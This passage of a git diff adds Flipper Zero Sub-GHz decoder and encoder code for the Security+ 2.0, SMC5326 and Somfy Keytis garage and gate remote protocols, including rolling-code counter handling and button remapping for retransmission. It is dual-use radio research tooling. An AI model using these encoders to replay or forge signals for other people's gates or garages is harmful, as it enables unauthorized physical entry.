+            btn = 0x81;
+            break;
+        case 0x80:
+            btn = 0x81;
+            break;
+        case 0x81:
+            btn = 0x68;
+            break;
+        case 0xE2:
+            btn = 0x81;
+            break;
+        case 0x78:
+            btn = 0x81;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x68:
+            btn = 0xE2;
+            break;
+        case 0x80:
+            btn = 0xE2;
+            break;
+        case 0x81:
+            btn = 0xE2;
+            break;
+        case 0xE2:
+            btn = 0x68;
+            break;
+        case 0x78:
+            btn = 0xE2;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x68:
+            btn = 0x78;
+            break;
+        case 0x80:
+            btn = 0x78;
+            break;
+        case 0x81:
+            btn = 0x78;
+            break;
+        case 0xE2:
+            btn = 0x78;
+            break;
+        case 0x78:
+            btn = 0x68;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_secplus_v2_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSecPlus_v2* instance = context;
+    subghz_protocol_secplus_v2_remote_controller(&instance->generic, instance->secplus_packet_1);
+
+    // need to research or practice check how much bits in counter
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 28;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Pk1:0x%lX%08lX\r\n"
+        "Pk2:0x%lX%08lX\r\n"
+        "Sn:0x%08lX  Btn:0x%01X\r\n"
+        "Cnt:%07lX\r\n",
+
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->secplus_packet_1 >> 32),
+        (uint32_t)instance->secplus_packet_1,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.serial,
+        instance->generic.btn,
+        instance->generic.cnt);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.h
new file mode 100644
index 000000000..9eb912a27
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.h
@@ -0,0 +1,110 @@
+#pragma once
+
+#include "base.h"
+#include "public_api.h"
+
+#define SUBGHZ_PROTOCOL_SECPLUS_V2_NAME "Security+ 2.0"
+
+typedef struct SubGhzProtocolDecoderSecPlus_v2 SubGhzProtocolDecoderSecPlus_v2;
+typedef struct SubGhzProtocolEncoderSecPlus_v2 SubGhzProtocolEncoderSecPlus_v2;
+
+extern const SubGhzProtocolDecoder subghz_protocol_secplus_v2_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_secplus_v2_encoder;
+extern const SubGhzProtocol subghz_protocol_secplus_v2;
+
+/**
+ * Allocate SubGhzProtocolEncoderSecPlus_v2.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderSecPlus_v2* pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ */
+void* subghz_protocol_encoder_secplus_v2_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderSecPlus_v2.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ */
+void subghz_protocol_encoder_secplus_v2_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_secplus_v2_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ */
+void subghz_protocol_encoder_secplus_v2_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderSecPlus_v2 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_secplus_v2_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderSecPlus_v2.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderSecPlus_v2* pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ */
+void* subghz_protocol_decoder_secplus_v2_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderSecPlus_v2.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ */
+void subghz_protocol_decoder_secplus_v2_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderSecPlus_v2.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ */
+void subghz_protocol_decoder_secplus_v2_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_secplus_v2_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_secplus_v2_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderSecPlus_v2.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_secplus_v2_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderSecPlus_v2.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_secplus_v2_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderSecPlus_v2 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_secplus_v2_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.c
new file mode 100644
index 000000000..7e4fd2698
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.c
@@ -0,0 +1,391 @@
+#include "smc5326.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+ * Help
+ * https://datasheetspdf.com/pdf-file/532079/Aslic/AX5326-4/1
+ *
+ */
+
+#define TAG "SubGhzProtocolSmc5326"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'),     \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_smc5326_const = {
+    .te_short = 300,
+    .te_long = 900,
+    .te_delta = 200,
+    .min_count_bit_for_found = 25,
+};
+
+struct SubGhzProtocolDecoderSMC5326 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+    uint32_t last_data;
+};
+
+struct SubGhzProtocolEncoderSMC5326 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+};
+
+typedef enum {
+    SMC5326DecoderStepReset = 0,
+    SMC5326DecoderStepSaveDuration,
+    SMC5326DecoderStepCheckDuration,
+} SMC5326DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_smc5326_decoder = {
+    .alloc = subghz_protocol_decoder_smc5326_alloc,
+    .free = subghz_protocol_decoder_smc5326_free,
+
+    .feed = subghz_protocol_decoder_smc5326_feed,
+    .reset = subghz_protocol_decoder_smc5326_reset,
+
+    .get_hash_data = subghz_protocol_decoder_smc5326_get_hash_data,
+    .serialize = subghz_protocol_decoder_smc5326_serialize,
+    .deserialize = subghz_protocol_decoder_smc5326_deserialize,
+    .get_string = subghz_protocol_decoder_smc5326_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_smc5326_encoder = {
+    .alloc = subghz_protocol_encoder_smc5326_alloc,
+    .free = subghz_protocol_encoder_smc5326_free,
+
+    .deserialize = subghz_protocol_encoder_smc5326_deserialize,
+    .stop = subghz_protocol_encoder_smc5326_stop,
+    .yield = subghz_protocol_encoder_smc5326_yield,
+};
+
+const SubGhzProtocol subghz_protocol_smc5326 = {
+    .name = SUBGHZ_PROTOCOL_SMC5326_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
+            SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_smc5326_decoder,
+    .encoder = &subghz_protocol_smc5326_encoder,
+};
+
+void* subghz_protocol_encoder_smc5326_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderSMC5326* instance = malloc(sizeof(SubGhzProtocolEncoderSMC5326));
+
+    instance->base.protocol = &subghz_protocol_smc5326;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_smc5326_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSMC5326* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderSMC5326 instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_smc5326_get_upload(SubGhzProtocolEncoderSMC5326* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)instance->te * 3);
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)instance->te * 3);
+        }
+    }
+
+    //Send Stop bit
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+    //Send PT_GUARD
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te * 25);
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_smc5326_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSMC5326* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_smc5326_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_smc5326_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_smc5326_stop(void* context) {
+    SubGhzProtocolEncoderSMC5326* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_smc5326_yield(void* context) {
+    SubGhzProtocolEncoderSMC5326* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_smc5326_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderSMC5326* instance = malloc(sizeof(SubGhzProtocolDecoderSMC5326));
+    instance->base.protocol = &subghz_protocol_smc5326;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_smc5326_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_smc5326_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+    instance->decoder.parser_step = SMC5326DecoderStepReset;
+    instance->last_data = 0;
+}
+
+void subghz_protocol_decoder_smc5326_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case SMC5326DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_smc5326_const.te_short * 24) <
+                        subghz_protocol_smc5326_const.te_delta * 12)) {
+            //Found Preambula
+            instance->decoder.parser_step = SMC5326DecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->te = 0;
+        }
+        break;
+    case SMC5326DecoderStepSaveDuration:
+        //save duration
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->te += duration;
+            instance->decoder.parser_step = SMC5326DecoderStepCheckDuration;
+        }
+        break;
+    case SMC5326DecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_smc5326_const.te_long * 2)) {
+                instance->decoder.parser_step = SMC5326DecoderStepSaveDuration;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_smc5326_const.min_count_bit_for_found) {
+                    if((instance->last_data == instance->decoder.decode_data) &&
+                       instance->last_data) {
+                        instance->te /= (instance->decoder.decode_count_bit * 4 + 1);
+
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->last_data = instance->decoder.decode_data;
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->te = 0;
+                break;
+            }
+
+            instance->te += duration;
+
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_smc5326_const.te_short) <
+                subghz_protocol_smc5326_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_smc5326_const.te_long) <
+                subghz_protocol_smc5326_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = SMC5326DecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_smc5326_const.te_long) <
+                 subghz_protocol_smc5326_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_smc5326_const.te_short) <
+                 subghz_protocol_smc5326_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = SMC5326DecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = SMC5326DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = SMC5326DecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_smc5326_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_smc5326_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_uint32(flipper_format, "TE", &instance->te, 1)) {
+        FURI_LOG_E(TAG, "Unable to add TE");
+        ret = SubGhzProtocolStatusErrorParserTe;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_smc5326_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_smc5326_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+    } while(false);
+
+    return ret;
+}
+
+static void subghz_protocol_smc5326_get_event_serialize(uint8_t event, FuriString* output) {
+    furi_string_cat_printf(
+        output,
+        "%s%s%s%s\r\n",
+        (((event >> 6) & 0x3) == 0x3 ? "B1 " : ""),
+        (((event >> 4) & 0x3) == 0x3 ? "B2 " : ""),
+        (((event >> 2) & 0x3) == 0x3 ? "B3 " : ""),
+        (((event >> 0) & 0x3) == 0x3 ? "B4 " : ""));
+}
+
+void subghz_protocol_decoder_smc5326_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSMC5326* instance = context;
+    uint32_t data = (uint32_t)((instance->generic.data >> 9) & 0xFFFF);
+
+    furi_string_cat_printf(
+        output,
+        "%s %ubit\r\n"
+        "Key:%07lX         Te:%luus\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "    ",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0x1FFFFFF),
+        instance->te,
+        SHOW_DIP_P(data, DIP_P),
+        SHOW_DIP_P(data, DIP_O));
+    subghz_protocol_smc5326_get_event_serialize(instance->generic.data >> 1, output);
+    furi_string_cat_printf(output, "  -:   " DIP_PATTERN "\r\n", SHOW_DIP_P(data, DIP_N));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.h
new file mode 100644
index 000000000..911226cf9
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_SMC5326_NAME "SMC5326"
+
+typedef struct SubGhzProtocolDecoderSMC5326 SubGhzProtocolDecoderSMC5326;
+typedef struct SubGhzProtocolEncoderSMC5326 SubGhzProtocolEncoderSMC5326;
+
+extern const SubGhzProtocolDecoder subghz_protocol_smc5326_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_smc5326_encoder;
+extern const SubGhzProtocol subghz_protocol_smc5326;
+
+/**
+ * Allocate SubGhzProtocolEncoderSMC5326.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderSMC5326* pointer to a SubGhzProtocolEncoderSMC5326 instance
+ */
+void* subghz_protocol_encoder_smc5326_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderSMC5326.
+ * @param context Pointer to a SubGhzProtocolEncoderSMC5326 instance
+ */
+void subghz_protocol_encoder_smc5326_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderSMC5326 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_smc5326_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderSMC5326 instance
+ */
+void subghz_protocol_encoder_smc5326_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderSMC5326 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_smc5326_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderSMC5326.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderSMC5326* pointer to a SubGhzProtocolDecoderSMC5326 instance
+ */
+void* subghz_protocol_decoder_smc5326_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderSMC5326.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ */
+void subghz_protocol_decoder_smc5326_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderSMC5326.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ */
+void subghz_protocol_decoder_smc5326_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_smc5326_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_smc5326_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderSMC5326.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_smc5326_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderSMC5326.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_smc5326_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderSMC5326 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_smc5326_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.c
new file mode 100644
index 000000000..cf03f4b4d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.c
@@ -0,0 +1,880 @@
+#include "somfy_keytis.h"
+#include <lib/toolbox/manchester_decoder.h>
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolSomfyKeytis"
+
+static const SubGhzBlockConst subghz_protocol_somfy_keytis_const = {
+    .te_short = 640,
+    .te_long = 1280,
+    .te_delta = 250,
+    .min_count_bit_for_found = 80,
+};
+
+struct SubGhzProtocolDecoderSomfyKeytis {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderSomfyKeytis {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    SomfyKeytisDecoderStepReset = 0,
+    SomfyKeytisDecoderStepCheckPreambula,
+    SomfyKeytisDecoderStepFoundPreambula,
+    SomfyKeytisDecoderStepStartDecode,
+    SomfyKeytisDecoderStepDecoderData,
+} SomfyKeytisDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_somfy_keytis_decoder = {
+    .alloc = subghz_protocol_decoder_somfy_keytis_alloc,
+    .free = subghz_protocol_decoder_somfy_keytis_free,
+
+    .feed = subghz_protocol_decoder_somfy_keytis_feed,
+    .reset = subghz_protocol_decoder_somfy_keytis_reset,
+
+    .get_hash_data = subghz_protocol_decoder_somfy_keytis_get_hash_data,
+    .serialize = subghz_protocol_decoder_somfy_keytis_serialize,
+    .deserialize = subghz_protocol_decoder_somfy_keytis_deserialize,
+    .get_string = subghz_protocol_decoder_somfy_keytis_get_string,
+};
+
+const SubGhzProtocol subghz_protocol_somfy_keytis = {
+    .name = SUBGHZ_PROTOCOL_SOMFY_KEYTIS_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_somfy_keytis_decoder,
+    .encoder = &subghz_protocol_somfy_keytis_encoder,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_somfy_keytis_encoder = {
+    .alloc = subghz_protocol_encoder_somfy_keytis_alloc,
+    .free = subghz_protocol_encoder_somfy_keytis_free,
+
+    .deserialize = subghz_protocol_encoder_somfy_keytis_deserialize,
+    .stop = subghz_protocol_encoder_somfy_keytis_stop,
+    .yield = subghz_protocol_encoder_somfy_keytis_yield,
+};
+
+void* subghz_protocol_encoder_somfy_keytis_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderSomfyKeytis* instance = malloc(sizeof(SubGhzProtocolEncoderSomfyKeytis));
+
+    instance->base.protocol = &subghz_protocol_somfy_keytis;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 512;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void* subghz_protocol_decoder_somfy_keytis_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderSomfyKeytis* instance = malloc(sizeof(SubGhzProtocolDecoderSomfyKeytis));
+    instance->base.protocol = &subghz_protocol_somfy_keytis;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_somfy_keytis_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSomfyKeytis* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_decoder_somfy_keytis_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_somfy_keytis_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyKeytis* instance = context;
+    instance->decoder.parser_step = SomfyKeytisDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+static void subghz_protocol_somfy_keytis_check_remote_controller(SubGhzBlockGeneric* instance);
+
+static uint8_t subghz_protocol_somfy_keytis_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
